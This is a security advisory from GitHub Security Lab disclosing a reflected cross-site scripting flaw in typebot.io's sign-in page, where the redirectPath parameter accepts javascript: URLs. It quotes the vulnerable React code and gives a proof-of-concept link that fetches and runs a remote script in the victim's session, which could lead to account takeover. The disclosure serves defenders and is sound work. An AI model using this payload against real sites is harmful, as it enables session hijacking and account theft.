Coordinated Disclosure Timeline

Summary

A reflected cross-site scripting (XSS) in the sign-in page of typebot.io may allow an attacker to hijack a user’s account.

Project

typebot.io

Tested Version

v2.23.0

Details

Reflected XSS in SignInForm.tsx (GHSL-2024-040)

The sign-in page takes the redirectPath parameter from the URL. If a user clicks on a link where the redirectPath parameter has a javascript scheme, the attacker that crafted the link may be able to execute arbitrary JavaScript with the privileges of the user.

export const SignInForm = ({
  defaultEmail,
}: Props & HTMLChakraProps<'form'>) => {
  const { t } = useTranslate()
  const router = useRouter()
  const { status } = useSession()
  const [authLoading, setAuthLoading] = useState(false)
  const [isLoadingProviders, setIsLoadingProviders] = useState(true)

  const [emailValue, setEmailValue] = useState(defaultEmail ?? '')
  const [isMagicLinkSent, setIsMagicLinkSent] = useState(false)

  const { showToast } = useToast()
  const [providers, setProviders] =
    useState<
      Record<LiteralUnion<BuiltInProviderType, string>, ClientSafeProvider>
    >()

  const hasNoAuthProvider =
    !isLoadingProviders && Object.keys(providers ?? {}).length === 0

  useEffect(() => {
    if (status === 'authenticated') {
      router.replace(router.query.redirectPath?.toString() ?? '/typebots')        <------ url redirected to query parameter
      return
    }

This vulnerability was found with the help of CodeQL’s Reflected XSS Query

Impact

This issue may lead to Account Takeover.

Proof of Concept

The following link will grab a javascript file from localhost and execute it in the context of the current domain. An attacker can use this payload to grab javascript from his host and execute in the domain of the victim.

https://app.typebot.io/signin?redirectPath=javascript:var%20script%20=%20document.createElement(%27script%27);script.src%20=%20%27http://127.0.0.1:8765/alert.js%27;%20document.head.appendChild(script);#//

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-040 in any communication regarding this issue.